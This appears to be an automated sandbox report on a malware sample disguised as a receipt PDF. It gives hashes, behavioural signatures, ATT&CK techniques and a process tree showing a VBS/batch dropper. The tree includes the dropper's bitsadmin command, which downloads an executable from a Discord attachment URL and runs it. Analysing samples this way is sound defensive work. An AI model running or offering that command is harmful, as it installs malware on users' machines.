103d49b3d4a0bdb4227674f8962821a88ac09d6ba6db2b779d07b598efbf5eeb

General

Target
RECEIPT_PDF.exe
Size 382KB
Sample210708-mprb5lkn62
SHA256 a2fa84e5ecfde2e65cb13ae7b13be29c2bdca0b01e746cc6e015c92ed36c087a
MD5 ab0cc6143bdee10292eca9fb74a153ea
SHA1 d033676a11cba16ee1c7e687d4f9075aaa8e57d3
SHA512 d2ba68581578f10b0a13c5490463cccc09b21f821b9458ac1a083ec33cb361da89bb850101fcb80bdbb3f0c0e55c543f0e55169f6e453640eb1d81845e2e2c5d
MD5 SHA1 SHA512

Score

8^/10

Malware Config

Signatures

Downloads MZ/PE file

Loads dropped DLL 1 IoCs

pid	Process
1936	RECEIPT_pdf.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1936 set thread context of 948	1936	RECEIPT_pdf.exe	35

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Download via BitsAdmin 1 TTPs 1 IoCs

dropper

BITS Jobs

T1197

pid	Process
1712	bitsadmin.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
2040	AcroRd32.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
1936	RECEIPT_pdf.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
2040	AcroRd32.exe
2040	AcroRd32.exe
2040	AcroRd32.exe
2040	AcroRd32.exe

Suspicious use of WriteProcessMemory 25 IoCs

description	pid	Process	procid_target
PID 1084 wrote to memory of 2040	1084	RECEIPT_PDF.exe	26
PID 1084 wrote to memory of 2040	1084	RECEIPT_PDF.exe	26
PID 1084 wrote to memory of 2040	1084	RECEIPT_PDF.exe	26
PID 1084 wrote to memory of 2040	1084	RECEIPT_PDF.exe	26
PID 1084 wrote to memory of 1104	1084	RECEIPT_PDF.exe	27
PID 1084 wrote to memory of 1104	1084	RECEIPT_PDF.exe	27
PID 1084 wrote to memory of 1104	1084	RECEIPT_PDF.exe	27
PID 1084 wrote to memory of 1104	1084	RECEIPT_PDF.exe	27
PID 1104 wrote to memory of 1752	1104	WScript.exe	28
PID 1104 wrote to memory of 1752	1104	WScript.exe	28
PID 1104 wrote to memory of 1752	1104	WScript.exe	28
PID 1104 wrote to memory of 1752	1104	WScript.exe	28
PID 1752 wrote to memory of 1712	1752	cmd.exe	30
PID 1752 wrote to memory of 1712	1752	cmd.exe	30
PID 1752 wrote to memory of 1712	1752	cmd.exe	30
PID 1752 wrote to memory of 1712	1752	cmd.exe	30
PID 1752 wrote to memory of 1936	1752	cmd.exe	34
PID 1752 wrote to memory of 1936	1752	cmd.exe	34
PID 1752 wrote to memory of 1936	1752	cmd.exe	34
PID 1752 wrote to memory of 1936	1752	cmd.exe	34
PID 1936 wrote to memory of 948	1936	RECEIPT_pdf.exe	35
PID 1936 wrote to memory of 948	1936	RECEIPT_pdf.exe	35
PID 1936 wrote to memory of 948	1936	RECEIPT_pdf.exe	35
PID 1936 wrote to memory of 948	1936	RECEIPT_pdf.exe	35
PID 1936 wrote to memory of 948	1936	RECEIPT_pdf.exe	35

C:\Users\Admin\AppData\Local\Temp\RECEIPT_PDF.exe
"C:\Users\Admin\AppData\Local\Temp\RECEIPT_PDF.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1084
- C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe
  "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Roaming\DHL.pdf"
  2⤵
  - Suspicious behavior: GetForegroundWindowSpam
  - Suspicious use of SetWindowsHookEx
  PID:2040
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\covid.vbs"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1104
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c ""C:\Users\Admin\AppData\Roaming\covid.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1752
  - - C:\Windows\SysWOW64\bitsadmin.exe
      bitsadmin /transfer covid https://cdn.discordapp.com/attachments/842158048058540076/862582631030587403/RECEIPT_pdf.exe C:\Users\Admin\AppData\Local\Temp\RECEIPT_pdf.exe
      4⤵
      Download via BitsAdmin
      PID:1712
  - - C:\Users\Admin\AppData\Local\Temp\RECEIPT_pdf.exe
      C:\Users\Admin\AppData\Local\Temp\RECEIPT_pdf.exe
      4⤵
      Loads dropped DLL
      Suspicious use of SetThreadContext
      Suspicious behavior: MapViewOfSection
      Suspicious use of WriteProcessMemory
      PID:1936
    - - C:\Users\Admin\AppData\Local\Temp\RECEIPT_pdf.exe
        
        C:\Users\Admin\AppData\Local\Temp\RECEIPT_pdf.exe
        5⤵
        
        PID:948

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

BITS Jobs

1

T1197

Privilege Escalation

Defense Evasion

BITS Jobs

1

T1197

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1084-59-0x0000000075A31000-0x0000000075A33000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads